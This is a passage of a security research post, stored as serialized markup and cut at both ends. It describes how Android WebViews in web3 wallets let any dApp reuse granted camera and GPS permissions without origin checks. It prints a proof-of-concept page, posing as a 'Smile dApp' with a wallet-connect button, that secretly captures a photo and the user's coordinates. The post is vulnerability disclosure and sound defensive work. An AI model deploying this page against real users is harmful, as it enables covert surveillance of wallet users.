",{"type":24,"tag":2773,"props":161533,"children":161536},{"href":161534,"rel":161535},"https://github.com/react-native-webview/react-native-webview/blob/eb8ccacd35740af39993725ad1b592d45364a510/android/src/main/java/com/reactnativecommunity/webview/RNCWebChromeClient.java#L146",[2777],[161537],{"type":29,"value":161408},{"type":29,"value":161539}," method, we see a similar pattern.",{"type":24,"tag":137,"props":161541,"children":161545},{"className":161542,"code":161543,"language":161544,"meta":7,"style":7},"language-java shiki shiki-themes slack-dark","// If all the permissions are already granted, send the response to the WebView synchronously\nif (requestedAndroidPermissions.isEmpty()) {\n    request.grant(grantedPermissions.toArray(new String[0]));\n    grantedPermissions = null;\n    return;\n}\n","java",[161546],{"type":24,"tag":80,"props":161547,"children":161548},{"__ignoreMap":7},[161549,161557,161586,161646,161666,161677],{"type":24,"tag":147,"props":161550,"children":161551},{"class":149,"line":150},[161552],{"type":24,"tag":147,"props":161553,"children":161554},{"style":154},[161555],{"type":29,"value":161556},"// If all the permissions are already granted, send the response to the WebView synchronously\n",{"type":24,"tag":147,"props":161558,"children":161559},{"class":149,"line":160},[161560,161564,161568,161573,161577,161582],{"type":24,"tag":147,"props":161561,"children":161562},{"style":321},[161563],{"type":29,"value":21191},{"type":24,"tag":147,"props":161565,"children":161566},{"style":235},[161567],{"type":29,"value":408},{"type":24,"tag":147,"props":161569,"children":161570},{"style":247},[161571],{"type":29,"value":161572},"requestedAndroidPermissions",{"type":24,"tag":147,"props":161574,"children":161575},{"style":235},[161576],{"type":29,"value":87},{"type":24,"tag":147,"props":161578,"children":161579},{"style":229},[161580],{"type":29,"value":161581},"isEmpty",{"type":24,"tag":147,"props":161583,"children":161584},{"style":235},[161585],{"type":29,"value":97604},{"type":24,"tag":147,"props":161587,"children":161588},{"class":149,"line":169},[161589,161594,161598,161603,161607,161612,161616,161621,161625,161629,161634,161638,161642],{"type":24,"tag":147,"props":161590,"children":161591},{"style":247},[161592],{"type":29,"value":161593},"    request",{"type":24,"tag":147,"props":161595,"children":161596},{"style":235},[161597],{"type":29,"value":87},{"type":24,"tag":147,"props":161599,"children":161600},{"style":229},[161601],{"type":29,"value":161602},"grant",{"type":24,"tag":147,"props":161604,"children":161605},{"style":235},[161606],{"type":29,"value":480},{"type":24,"tag":147,"props":161608,"children":161609},{"style":247},[161610],{"type":29,"value":161611},"grantedPermissions",{"type":24,"tag":147,"props":161613,"children":161614},{"style":235},[161615],{"type":29,"value":87},{"type":24,"tag":147,"props":161617,"children":161618},{"style":229},[161619],{"type":29,"value":161620},"toArray",{"type":24,"tag":147,"props":161622,"children":161623},{"style":235},[161624],{"type":29,"value":480},{"type":24,"tag":147,"props":161626,"children":161627},{"style":321},[161628],{"type":29,"value":20734},{"type":24,"tag":147,"props":161630,"children":161631},{"style":9044},[161632],{"type":29,"value":161633}," String",{"type":24,"tag":147,"props":161635,"children":161636},{"style":235},[161637],{"type":29,"value":9358},{"type":24,"tag":147,"props":161639,"children":161640},{"style":705},[161641],{"type":29,"value":3173},{"type":24,"tag":147,"props":161643,"children":161644},{"style":235},[161645],{"type":29,"value":109090},{"type":24,"tag":147,"props":161647,"children":161648},{"class":149,"line":178},[161649,161654,161658,161662],{"type":24,"tag":147,"props":161650,"children":161651},{"style":235},[161652],{"type":29,"value":161653},"    grantedPermissions ",{"type":24,"tag":147,"props":161655,"children":161656},{"style":241},[161657],{"type":29,"value":369},{"type":24,"tag":147,"props":161659,"children":161660},{"style":218},[161661],{"type":29,"value":75852},{"type":24,"tag":147,"props":161663,"children":161664},{"style":235},[161665],{"type":29,"value":432},{"type":24,"tag":147,"props":161667,"children":161668},{"class":149,"line":187},[161669,161673],{"type":24,"tag":147,"props":161670,"children":161671},{"style":321},[161672],{"type":29,"value":2597},{"type":24,"tag":147,"props":161674,"children":161675},{"style":235},[161676],{"type":29,"value":432},{"type":24,"tag":147,"props":161678,"children":161679},{"class":149,"line":196},[161680],{"type":24,"tag":147,"props":161681,"children":161682},{"style":235},[161683],{"type":29,"value":827},{"type":24,"tag":25,"props":161685,"children":161686},{},[161687],{"type":29,"value":161688},"As we can see above, if the Android app has already been granted access to the requested permissions, this method simply allows the loaded WebView to use them. This follows the same pattern as Google's WebView Shell implementation - no origin checks being performed. When this behavior is now combined with the typical web3 wallet features, namely dApps, a serious oversight arises.",{"type":24,"tag":43,"props":161690,"children":161692},{"id":161691},"real-world-exploitation",[161693],{"type":29,"value":161694},"Real world exploitation",{"type":24,"tag":25,"props":161696,"children":161697},{},[161698],{"type":29,"value":161699},"As mentioned, web3 mobile apps often use a WebView to load and execute dApps, with the most common implementation being React Native WebView. Developers assume that these WebViews, and especially React Native WebView, provide origin isolation by default for sensitive permissions. However, they do not. This allows any malicious dApp to request and use any permission already granted to the underlying application. No additional user consent checks are performed.",{"type":24,"tag":25,"props":161701,"children":161702},{},[161703],{"type":29,"value":161704},"If the app doesn’t already have these permissions, once the user allows camera or GPS access for a specific dApp inside the wallet, every other dApp can access those permissions without user consent, since there is no origin isolation.",{"type":24,"tag":25,"props":161706,"children":161707},{},[161708,161710,161717],{"type":29,"value":161709},"During our audits and research, we discovered more than 20 major wallets vulnerable to this attack scenario. While most were using React Native WebView, other less frequently used libraries were suffering from the same bug. One such example is the ",{"type":24,"tag":2773,"props":161711,"children":161714},{"href":161712,"rel":161713},"https://github.com/Justson/AgentWeb/blob/95d48cd5a03227aa15644c4ef3a65c820b067616/agentweb-core/src/main/java/com/just/agentweb/DefaultChromeClient.java#L250",[2777],[161715],{"type":29,"value":161716},"Justson",{"type":29,"value":161718},", used by a popular wallet in the Stellar ecosystem.",{"type":24,"tag":112,"props":161720,"children":161721},{"id":45100},[161722],{"type":29,"value":40430},{"type":24,"tag":25,"props":161724,"children":161725},{},[161726],{"type":29,"value":161727},"In order to exploit this issue, we assume the following preconditions:",{"type":24,"tag":2674,"props":161729,"children":161730},{},[161731,161736,161741],{"type":24,"tag":2678,"props":161732,"children":161733},{},[161734],{"type":29,"value":161735},"The user has already granted the camera permission just to the wallet application or to another dApp with a different origin.",{"type":24,"tag":2678,"props":161737,"children":161738},{},[161739],{"type":29,"value":161740},"The user is tricked into visiting a malicious dApp or redirected to one from the web.",{"type":24,"tag":2678,"props":161742,"children":161743},{},[161744],{"type":29,"value":161745},"Once the dApp loads, the following code will run, allowing the attacker to take a picture with the camera.",{"type":24,"tag":137,"props":161747,"children":161749},{"className":55619,"code":161748,"language":37983,"meta":7,"style":7},"\u003C!DOCTYPE html>\n\u003Chtml>\n\u003Chead>\n    \u003Cmeta charset=\"utf-8\">\n    \u003Ctitle>\u003C/title>\n\u003C/head>\n\u003Cbody>\n    \u003Ch2>Smile dApp :)\u003C/h2>\n    \u003Cbutton id=\"connect\">Connect your wallet!\u003C/button>\n    \u003Cpre id=\"gps\">\u003C/pre>\n    \u003Cimg id=\"pic\">\n    \u003Cscript>\n        window.addEventListener('unhandledrejection', function (event) {\n            alert(`Unhandled Promise Rejection: ${event.reason}`);\n        });\n        window.onerror = function (msg, url, line, col, error) {\n            alert('onerror: ' + msg);\n            return false;\n        };\n\n        async function main() {\n            const stream = await navigator.mediaDevices.getUserMedia({ video: true });\n            const video = document.createElement(\"video\");\n            video.srcObject = stream;\n            const canvas = document.createElement(\"canvas\");\n\n            video.onloadedmetadata = () => {\n                canvas.width = video.videoWidth;\n                canvas.height = video.videoHeight;\n            };\n\n            connect.onclick = e => {\n                video.play();\n\n                canvas.getContext(\"2d\").drawImage(video, 0, 0);\n                stream.getTracks().forEach(t => t.stop());\n                canvas.toBlob((blob) => {\n                    pic.src = URL.createObjectURL(blob);\n                });\n\n                navigator.geolocation.getCurrentPosition(pos => {\n                    const c = pos.coords;\n                    gps.innerText = `Lat: ${c.latitude.toFixed(1)}\\nLon: ${c.longitude.toFixed(1)}`;\n                }, err => alert(err));\n            };\n\n        }\n        main();\n    \u003C/script>\n\u003C/body>\n\u003C/html>\n",[161750],{"type":24,"tag":80,"props":161751,"children":161752},{"__ignoreMap":7},[161753,161773,161788,161804,161834,161857,161872,161887,161919,161965,162001,162029,162044,162090,162136,162144,162212,162240,162255,162263,162270,162290,162350,162391,162420,162461,162468,162497,162535,162572,162579,162586,162619,162640,162647,162709,162765,162801,162847,162855,162862,162905,162938,163063,163096,163103,163110,163117,163129,163144,163159],{"type":24,"tag":147,"props":161754,"children":161755},{"class":149,"line":150},[161756,161760,161764,161769],{"type":24,"tag":147,"props":161757,"children":161758},{"style":37976},[161759],{"type":29,"value":39826},{"type":24,"tag":147,"props":161761,"children":161762},{"style":218},[161763],{"type":29,"value":39831},{"type":24,"tag":147,"props":161765,"children":161766},{"style":247},[161767],{"type":29,"value":161768}," html",{"type":24,"tag":147,"props":161770,"children":161771},{"style":37976},[161772],{"type":29,"value":11617},{"type":24,"tag":147,"props":161774,"children":161775},{"class":149,"line":160},[161776,161780,161784],{"type":24,"tag":147,"props":161777,"children":161778},{"style":37976},[161779],{"type":29,"value":3583},{"type":24,"tag":147,"props":161781,"children":161782},{"style":218},[161783],{"type":29,"value":37983},{"type":24,"tag":147,"props":161785,"children":161786},{"style":37976},[161787],{"type":29,"value":11617},{"type":24,"tag":147,"props":161789,"children":161790},{"class":149,"line":169},[161791,161795,161800],{"type":24,"tag":147,"props":161792,"children":161793},{"style":37976},[161794],{"type":29,"value":3583},{"type":24,"tag":147,"props":161796,"children":161797},{"style":218},[161798],{"type":29,"value":161799},"head",{"type":24,"tag":147,"props":161801,"children":161802},{"style":37976},[161803],{"type":29,"value":11617},{"type":24,"tag":147,"props":161805,"children":161806},{"class":149,"line":178},[161807,161811,161816,161821,161825,161830],{"type":24,"tag":147,"props":161808,"children":161809},{"style":37976},[161810],{"type":29,"value":38046},{"type":24,"tag":147,"props":161812,"children":161813},{"style":218},[161814],{"type":29,"value":161815},"meta",{"type":24,"tag":147,"props":161817,"children":161818},{"style":247},[161819],{"type":29,"value":161820}," charset",{"type":24,"tag":147,"props":161822,"children":161823},{"style":235},[161824],{"type":29,"value":369},{"type":24,"tag":147,"props":161826,"children":161827},{"style":3534},[161828],{"type":29,"value":161829},"\"utf-8\"",{"type":24,"tag":147,"props":161831,"children":161832},{"style":37976},[161833],{"type":29,"value":11617},{"type":24,"tag":147,"props":161835,"children":161836},{"class":149,"line":187},[161837,161841,161845,161849,161853],{"type":24,"tag":147,"props":161838,"children":161839},{"style":37976},[161840],{"type":29,"value":38046},{"type":24,"tag":147,"props":161842,"children":161843},{"style":218},[161844],{"type":29,"value":39904},{"type":24,"tag":147,"props":161846,"children":161847},{"style":37976},[161848],{"type":29,"value":55663},{"type":24,"tag":147,"props":161850,"children":161851},{"style":218},[161852],{"type":29,"value":39904},{"type":24,"tag":147,"props":161854,"children":161855},{"style":37976},[161856],{"type":29,"value":11617},{"type":24,"tag":147,"props":161858,"children":161859},{"class":149,"line":196},[161860,161864,161868],{"type":24,"tag":147,"props":161861,"children":161862},{"style":37976},[161863],{"type":29,"value":38030},{"type":24,"tag":147,"props":161865,"children":161866},{"style":218},[161867],{"type":29,"value":161799},{"type":24,"tag":147,"props":161869,"children":161870},{"style":37976},[161871],{"type":29,"value":11617},{"type":24,"tag":147,"props":161873,"children":161874},{"class":149,"line":205},[161875,161879,161883],{"type":24,"tag":147,"props":161876,"children":161877},{"style":37976},[161878],{"type":29,"value":3583},{"type":24,"tag":147,"props":161880,"children":161881},{"style":218},[161882],{"type":29,"value":38000},{"type":24,"tag":147,"props":161884,"children":161885},{"style":37976},[161886],{"type":29,"value":11617},{"type":24,"tag":147,"props":161888,"children":161889},{"class":149,"line":214},[161890,161894,161898,161902,161907,161911,161915],{"type":24,"tag":147,"props":161891,"children":161892},{"style":37976},[161893],{"type":29,"value":38046},{"type":24,"tag":147,"props":161895,"children":161896},{"style":218},[161897],{"type":29,"value":32},{"type":24,"tag":147,"props":161899,"children":161900},{"style":37976},[161901],{"type":29,"value":3453},{"type":24,"tag":147,"props":161903,"children":161904},{"style":235},[161905],{"type":29,"value":161906},"Smile dApp :)",{"type":24,"tag":147,"props":161908,"children":161909},{"style":37976},[161910],{"type":29,"value":38030},{"type":24,"tag":147,"props":161912,"children":161913},{"style":218},[161914],{"type":29,"value":32},{"type":24,"tag":147,"props":161916,"children":161917},{"style":37976},[161918],{"type":29,"value":11617},{"type":24,"tag":147,"props":161920,"children":161921},{"class":149,"line":272},[161922,161926,161931,161935,161939,161944,161948,161953,161957,161961],{"type":24,"tag":147,"props":161923,"children":161924},{"style":37976},[161925],{"type":29,"value":38046},{"type":24,"tag":147,"props":161927,"children":161928},{"style":218},[161929],{"type":29,"value":161930},"button",{"type":24,"tag":147,"props":161932,"children":161933},{"style":247},[161934],{"type":29,"value":38056},{"type":24,"tag":147,"props":161936,"children":161937},{"style":235},[161938],{"type":29,"value":369},{"type":24,"tag":147,"props":161940,"children":161941},{"style":3534},[161942],{"type":29,"value":161943},"\"connect\"",{"type":24,"tag":147,"props":161945,"children":161946},{"style":37976},[161947],{"type":29,"value":3453},{"type":24,"tag":147,"props":161949,"children":161950},{"style":235},[161951],{"type":29,"value":161952},"Connect your wallet!",{"type":24,"tag":147,"props":161954,"children":161955},{"style":37976},[161956],{"type":29,"value":38030},{"type":24,"tag":147,"props":161958,"children":161959},{"style":218},[161960],{"type":29,"value":161930},{"type":24,"tag":147,"props":161962,"children":161963},{"style":37976},[161964],{"type":29,"value":11617},{"type":24,"tag":147,"props":161966,"children":161967},{"class":149,"line":281},[161968,161972,161976,161980,161984,161989,161993,161997],{"type":24,"tag":147,"props":161969,"children":161970},{"style":37976},[161971],{"type":29,"value":38046},{"type":24,"tag":147,"props":161973,"children":161974},{"style":218},[161975],{"type":29,"value":137},{"type":24,"tag":147,"props":161977,"children":161978},{"style":247},[161979],{"type":29,"value":38056},{"type":24,"tag":147,"props":161981,"children":161982},{"style":235},[161983],{"type":29,"value":369},{"type":24,"tag":147,"props":161985,"children":161986},{"style":3534},[161987],{"type":29,"value":161988},"\"gps\"",{"type":24,"tag":147,"props":161990,"children":161991},{"style":37976},[161992],{"type":29,"value":55663},{"type":24,"tag":147,"props":161994,"children":161995},{"style":218},[161996],{"type":29,"value":137},{"type":24,"tag":147,"props":161998,"children":161999},{"style":37976},[162000],{"type":29,"value":11617},{"type":24,"tag":147,"props":162002,"children":162003},{"class":149,"line":299},[162004,162008,162012,162016,162020,162025],{"type":24,"tag":147,"props":162005,"children":162006},{"style":37976},[162007],{"type":29,"value":38046},{"type":24,"tag":147,"props":162009,"children":162010},{"style":218},[162011],{"type":29,"value":63},{"type":24,"tag":147,"props":162013,"children":162014},{"style":247},[162015],{"type":29,"value":38056},{"type":24,"tag":147,"props":162017,"children":162018},{"style":235},[162019],{"type":29,"value":369},{"type":24,"tag":147,"props":162021,"children":162022},{"style":3534},[162023],{"type":29,"value":162024},"\"pic\"",{"type":24,"tag":147,"props":162026,"children":162027},{"style":37976},[162028],{"type":29,"value":11617},{"type":24,"tag":147,"props":162030,"children":162031},{"class":149,"line":308},[162032,162036,162040],{"type":24,"tag":147,"props":162033,"children":162034},{"style":37976},[162035],{"type":29,"value":38046},{"type":24,"tag":147,"props":162037,"children":162038},{"style":218},[162039],{"type":29,"value":38016},{"type":24,"tag":147,"props":162041,"children":162042},{"style":37976},[162043],{"type":29,"value":11617},{"type":24,"tag":147,"props":162045,"children":162046},{"class":149,"line":317},[162047,162052,162056,162061,162065,162070,162074,162078,162082,162086],{"type":24,"tag":147,"props":162048,"children":162049},{"style":247},[162050],{"type":29,"value":162051},"        window",{"type":24,"tag":147,"props":162053,"children":162054},{"style":241},[162055],{"type":29,"value":87},{"type":24,"tag":147,"props":162057,"children":162058},{"style":229},[162059],{"type":29,"value":162060},"addEventListener",{"type":24,"tag":147,"props":162062,"children":162063},{"style":241},[162064],{"type":29,"value":480},{"type":24,"tag":147,"props":162066,"children":162067},{"style":3534},[162068],{"type":29,"value":162069},"'unhandledrejection'",{"type":24,"tag":147,"props":162071,"children":162072},{"style":241},[162073],{"type":29,"value":546},{"type":24,"tag":147,"props":162075,"children":162076},{"style":218},[162077],{"type":29,"value":36978},{"type":24,"tag":147,"props":162079,"children":162080},{"style":241},[162081],{"type":29,"value":408},{"type":24,"tag":147,"props":162083,"children":162084},{"style":247},[162085],{"type":29,"value":87712},{"type":24,"tag":147,"props":162087,"children":162088},{"style":241},[162089],{"type":29,"value":505},{"type":24,"tag":147,"props":162091,"children":162092},{"class":149,"line":332},[162093,162098,162102,162107,162111,162115,162119,162124,162128,162132],{"type":24,"tag":147,"props":162094,"children":162095},{"style":229},[162096],{"type":29,"value":162097},"            alert",{"type":24,"tag":147,"props":162099,"children":162100},{"style":241},[162101],{"type":29,"value":480},{"type":24,"tag":147,"props":162103,"children":162104},{"style":3534},[162105],{"type":29,"value":162106},"`Unhandled Promise Rejection: ",{"type":24,"tag":147,"props":162108,"children":162109},{"style":218},[162110],{"type":29,"value":39709},{"type":24,"tag":147,"props":162112,"children":162113},{"style":247},[162114],{"type":29,"value":87712},{"type":24,"tag":147,"props":162116,"children":162117},{"style":241},[162118],{"type":29,"value":87},{"type":24,"tag":147,"props":162120,"children":162121},{"style":247},[162122],{"type":29,"value":162123},"reason",{"type":24,"tag":147,"props":162125,"children":162126},{"style":218},[162127],{"type":29,"value":39741},{"type":24,"tag":147,"props":162129,"children":162130},{"style":3534},[162131],{"type":29,"value":16003},{"type":24,"tag":147,"props":162133,"children":162134},{"style":241},[162135],{"type":29,"value":1473},{"type":24,"tag":147,"props":162137,"children":162138},{"class":149,"line":350},[162139],{"type":24,"tag":147,"props":162140,"children":162141},{"style":241},[162142],{"type":29,"value":162143},"        });\n",{"type":24,"tag":147,"props":162145,"children":162146},{"class":149,"line":358},[162147,162151,162155,162159,162163,162167,162171,162175,162179,162183,162187,162191,162195,162200,162204,162208],{"type":24,"tag":147,"props":162148,"children":162149},{"style":247},[162150],{"type":29,"value":162051},{"type":24,"tag":147,"props":162152,"children":162153},{"style":241},[162154],{"type":29,"value":87},{"type":24,"tag":147,"props":162156,"children":162157},{"style":229},[162158],{"type":29,"value":38289},{"type":24,"tag":147,"props":162160,"children":162161},{"style":241},[162162],{"type":29,"value":38512},{"type":24,"tag":147,"props":162164,"children":162165},{"style":218},[162166],{"type":29,"value":36978},{"type":24,"tag":147,"props":162168,"children":162169},{"style":241},[162170],{"type":29,"value":408},{"type":24,"tag":147,"props":162172,"children":162173},{"style":247},[162174],{"type":29,"value":63532},{"type":24,"tag":147,"props":162176,"children":162177},{"style":241},[162178],{"type":29,"value":546},{"type":24,"tag":147,"props":162180,"children":162181},{"style":247},[162182],{"type":29,"value":75960},{"type":24,"tag":147,"props":162184,"children":162185},{"style":241},[162186],{"type":29,"value":546},{"type":24,"tag":147,"props":162188,"children":162189},{"style":247},[162190],{"type":29,"value":149},{"type":24,"tag":147,"props":162192,"children":162193},{"style":241},[162194],{"type":29,"value":546},{"type":24,"tag":147,"props":162196,"children":162197},{"style":247},[162198],{"type":29,"value":162199},"col",{"type":24,"tag":147,"props":162201,"children":162202},{"style":241},[162203],{"type":29,"value":546},{"type":24,"tag":147,"props":162205,"children":162206},{"style":247},[162207],{"type":29,"value":20477},{"type":24,"tag":147,"props":162209,"children":162210},{"style":241},[162211],{"type":29,"value":505},{"type":24,"tag":147,"props":162213,"children":162214},{"class":149,"line":397},[162215,162219,162223,162228,162232,162236],{"type":24,"tag":147,"props":162216,"children":162217},{"style":229},[162218],{"type":29,"value":162097},{"type":24,"tag":147,"props":162220,"children":162221},{"style":241},[162222],{"type":29,"value":480},{"type":24,"tag":147,"props":162224,"children":162225},{"style":3534},[162226],{"type":29,"value":162227},"'onerror: '",{"type":24,"tag":147,"props":162229,"children":162230},{"style":241},[162231],{"type":29,"value":40297},{"type":24,"tag":147,"props":162233,"children":162234},{"style":247},[162235],{"type":29,"value":63532},{"type":24,"tag":147,"props":162237,"children":162238},{"style":241},[162239],{"type":29,"value":1473},{"type":24,"tag":147,"props":162241,"children":162242},{"class":149,"line":421},[162243,162247,162251],{"type":24,"tag":147,"props":162244,"children":162245},{"style":321},[162246],{"type":29,"value":84660},{"type":24,"tag":147,"props":162248,"children":162249},{"style":218},[162250],{"type":29,"value":14682},{"type":24,"tag":147,"props":162252,"children":162253},{"style":241},[162254],{"type":29,"value":432},{"type":24,"tag":147,"props":162256,"children":162257},{"class":149,"line":435},[162258],{"type":24,"tag":147,"props":162259,"children":162260},{"style":241},[162261],{"type":29,"value":162262},"        };\n",{"type":24,"tag":147,"props":162264,"children":162265},{"class":149,"line":444},[162266],{"type":24,"tag":147,"props":162267,"children":162268},{"emptyLinePlaceholder":16},[162269],{"type":29,"value":314},{"type":24,"tag":147,"props":162271,"children":162272},{"class":149,"line":452},[162273,162278,162282,162286],{"type":24,"tag":147,"props":162274,"children":162275},{"style":218},[162276],{"type":29,"value":162277},"        async",{"type":24,"tag":147,"props":162279,"children":162280},{"style":218},[162281],{"type":29,"value":43811},{"type":24,"tag":147,"props":162283,"children":162284},{"style":229},[162285],{"type":29,"value":96363},{"type":24,"tag":147,"props":162287,"children":162288},{"style":241},[162289],{"type":29,"value":21347},{"type":24,"tag":147,"props":162291,"children":162292},{"class":149,"line":461},[162293,162297,162302,162306,162310,162315,162319,162324,162328,162333,162337,162342,162346],{"type":24,"tag":147,"props":162294,"children":162295},{"style":218},[162296],{"type":29,"value":155823},{"type":24,"tag":147,"props":162298,"children":162299},{"style":247},[162300],{"type":29,"value":162301}," stream",{"type":24,"tag":147,"props":162303,"children":162304},{"style":241},[162305],{"type":29,"value":38512},{"type":24,"tag":147,"props":162307,"children":162308},{"style":321},[162309],{"type":29,"value":38517},{"type":24,"tag":147,"props":162311,"children":162312},{"style":247},[162313],{"type":29,"value":162314}," navigator",{"type":24,"tag":147,"props":162316,"children":162317},{"style":241},[162318],{"type":29,"value":87},{"type":24,"tag":147,"props":162320,"children":162321},{"style":247},[162322],{"type":29,"value":162323},"mediaDevices",{"type":24,"tag":147,"props":162325,"children":162326},{"style":241},[162327],{"type":29,"value":87},{"type":24,"tag":147,"props":162329,"children":162330},{"style":229},[162331],{"type":29,"value":162332},"getUserMedia",{"type":24,"tag":147,"props":162334,"children":162335},{"style":241},[162336],{"type":29,"value":37098},{"type":24,"tag":147,"props":162338,"children":162339},{"style":247},[162340],{"type":29,"value":162341},"video:",{"type":24,"tag":147,"props":162343,"children":162344},{"style":218},[162345],{"type":29,"value":18087},{"type":24,"tag":147,"props":162347,"children":162348},{"style":241},[162349],{"type":29,"value":44432},{"type":24,"tag":147,"props":162351,"children":162352},{"class":149,"line":469},[162353,162357,162362,162366,162370,162374,162378,162382,162387],{"type":24,"tag":147,"props":162354,"children":162355},{"style":218},[162356],{"type":29,"value":155823},{"type":24,"tag":147,"props":162358,"children":162359},{"style":247},[162360],{"type":29,"value":162361}," video",{"type":24,"tag":147,"props":162363,"children":162364},{"style":241},[162365],{"type":29,"value":38512},{"type":24,"tag":147,"props":162367,"children":162368},{"style":247},[162369],{"type":29,"value":38308},{"type":24,"tag":147,"props":162371,"children":162372},{"style":241},[162373],{"type":29,"value":87},{"type":24,"tag":147,"props":162375,"children":162376},{"style":229},[162377],{"type":29,"value":42321},{"type":24,"tag":147,"props":162379,"children":162380},{"style":241},[162381],{"type":29,"value":480},{"type":24,"tag":147,"props":162383,"children":162384},{"style":3534},[162385],{"type":29,"value":162386},"\"video\"",{"type":24,"tag":147,"props":162388,"children":162389},{"style":241},[162390],{"type":29,"value":1473},{"type":24,"tag":147,"props":162392,"children":162393},{"class":149,"line":508},[162394,162399,162403,162408,162412,162416],{"type":24,"tag":147,"props":162395,"children":162396},{"style":247},[162397],{"type":29,"value":162398},"            video",{"type":24,"tag":147,"props":162400,"children":162401},{"style":241},[162402],{"type":29,"value":87},{"type":24,"tag":147,"props":162404,"children":162405},{"style":247},[162406],{"type":29,"value":162407},"srcObject",{"type":24,"tag":147,"props":162409,"children":162410},{"style":241},[162411],{"type":29,"value":38512},{"type":24,"tag":147,"props":162413,"children":162414},{"style":247},[162415],{"type":29,"value":490},{"type":24,"tag":147,"props":162417,"children":162418},{"style":241},[162419],{"type":29,"value":432},{"type":24,"tag":147,"props":162421,"children":162422},{"class":149,"line":572},[162423,162427,162432,162436,162440,162444,162448,162452,162457],{"type":24,"tag":147,"props":162424,"children":162425},{"style":218},[162426],{"type":29,"value":155823},{"type":24,"tag":147,"props":162428,"children":162429},{"style":247},[162430],{"type":29,"value":162431}," canvas",{"type":24,"tag":147,"props":162433,"children":162434},{"style":241},[162435],{"type":29,"value":38512},{"type":24,"tag":147,"props":162437,"children":162438},{"style":247},[162439],{"type":29,"value":38308},{"type":24,"tag":147,"props":162441,"children":162442},{"style":241},[162443],{"type":29,"value":87},{"type":24,"tag":147,"props":162445,"children":162446},{"style":229},[162447],{"type":29,"value":42321},{"type":24,"tag":147,"props":162449,"children":162450},{"style":241},[162451],{"type":29,"value":480},{"type":24,"tag":147,"props":162453,"children":162454},{"style":3534},[162455],{"type":29,"value":162456},"\"canvas\"",{"type":24,"tag":147,"props":162458,"children":162459},{"style":241},[162460],{"type":29,"value":1473},{"type":24,"tag":147,"props":162462,"children":162463},{"class":149,"line":591},[162464],{"type":24,"tag":147,"props":162465,"children":162466},{"emptyLinePlaceholder":16},[162467],{"type":29,"value":314},{"type":24,"tag":147,"props":162469,"children":162470},{"class":149,"line":632},[162471,162475,162479,162484,162489,162493],{"type":24,"tag":147,"props":162472,"children":162473},{"style":247},[162474],{"type":29,"value":162398},{"type":24,"tag":147,"props":162476,"children":162477},{"style":241},[162478],{"type":29,"value":87},{"type":24,"tag":147,"props":162480,"children":162481},{"style":229},[162482],{"type":29,"value":162483},"onloadedmetadata",{"type":24,"tag":147,"props":162485,"children":162486},{"style":241},[162487],{"type":29,"value":162488}," = () ",{"type":24,"tag":147,"props":162490,"children":162491},{"style":218},[162492],{"type":29,"value":20435},{"type":24,"tag":147,"props":162494,"children":162495},{"style":241},[162496],{"type":29,"value":6630},{"type":24,"tag":147,"props":162498,"children":162499},{"class":149,"line":659},[162500,162505,162509,162514,162518,162522,162526,162531],{"type":24,"tag":147,"props":162501,"children":162502},{"style":247},[162503],{"type":29,"value":162504},"                canvas",{"type":24,"tag":147,"props":162506,"children":162507},{"style":241},[162508],{"type":29,"value":87},{"type":24,"tag":147,"props":162510,"children":162511},{"style":247},[162512],{"type":29,"value":162513},"width",{"type":24,"tag":147,"props":162515,"children":162516},{"style":241},[162517],{"type":29,"value":38512},{"type":24,"tag":147,"props":162519,"children":162520},{"style":247},[162521],{"type":29,"value":8400},{"type":24,"tag":147,"props":162523,"children":162524},{"style":241},[162525],{"type":29,"value":87},{"type":24,"tag":147,"props":162527,"children":162528},{"style":247},[162529],{"type":29,"value":162530},"videoWidth",{"type":24,"tag":147,"props":162532,"children":162533},{"style":241},[162534],{"type":29,"value":432},{"type":24,"tag":147,"props":162536,"children":162537},{"class":149,"line":684},[162538,162542,162546,162551,162555,162559,162563,162568],{"type":24,"tag":147,"props":162539,"children":162540},{"style":247},[162541],{"type":29,"value":162504},{"type":24,"tag":147,"props":162543,"children":162544},{"style":241},[162545],{"type":29,"value":87},{"type":24,"tag":147,"props":162547,"children":162548},{"style":247},[162549],{"type":29,"value":162550},"height",{"type":24,"tag":147,"props":162552,"children":162553},{"style":241},[162554],{"type":29,"value":38512},{"type":24,"tag":147,"props":162556,"children":162557},{"style":247},[162558],{"type":29,"value":8400},{"type":24,"tag":147,"props":162560,"children":162561},{"style":241},[162562],{"type":29,"value":87},{"type":24,"tag":147,"props":162564,"children":162565},{"style":247},[162566],{"type":29,"value":162567},"videoHeight",{"type":24,"tag":147,"props":162569,"children":162570},{"style":241},[162571],{"type":29,"value":432},{"type":24,"tag":147,"props":162573,"children":162574},{"class":149,"line":715},[162575],{"type":24,"tag":147,"props":162576,"children":162577},{"style":241},[162578],{"type":29,"value":53673},{"type":24,"tag":147,"props":162580,"children":162581},{"class":149,"line":744},[162582],{"type":24,"tag":147,"props":162583,"children":162584},{"emptyLinePlaceholder":16},[162585],{"type":29,"value":314},{"type":24,"tag":147,"props":162587,"children":162588},{"class":149,"line":784},[162589,162594,162598,162603,162607,162611,162615],{"type":24,"tag":147,"props":162590,"children":162591},{"style":247},[162592],{"type":29,"value":162593},"            connect",{"type":24,"tag":147,"props":162595,"children":162596},{"style":241},[162597],{"type":29,"value":87},{"type":24,"tag":147,"props":162599,"children":162600},{"style":229},[162601],{"type":29,"value":162602},"onclick",{"type":24,"tag":147,"props":162604,"children":162605},{"style":241},[162606],{"type":29,"value":38512},{"type":24,"tag":147,"props":162608,"children":162609},{"style":247},[162610],{"type":29,"value":57047},{"type":24,"tag":147,"props":162612,"children":162613},{"style":218},[162614],{"type":29,"value":33354},{"type":24,"tag":147,"props":162616,"children":162617},{"style":241},[162618],{"type":29,"value":6630},{"type":24,"tag":147,"props":162620,"children":162621},{"class":149,"line":792},[162622,162627,162631,162636],{"type":24,"tag":147,"props":162623,"children":162624},{"style":247},[162625],{"type":29,"value":162626},"                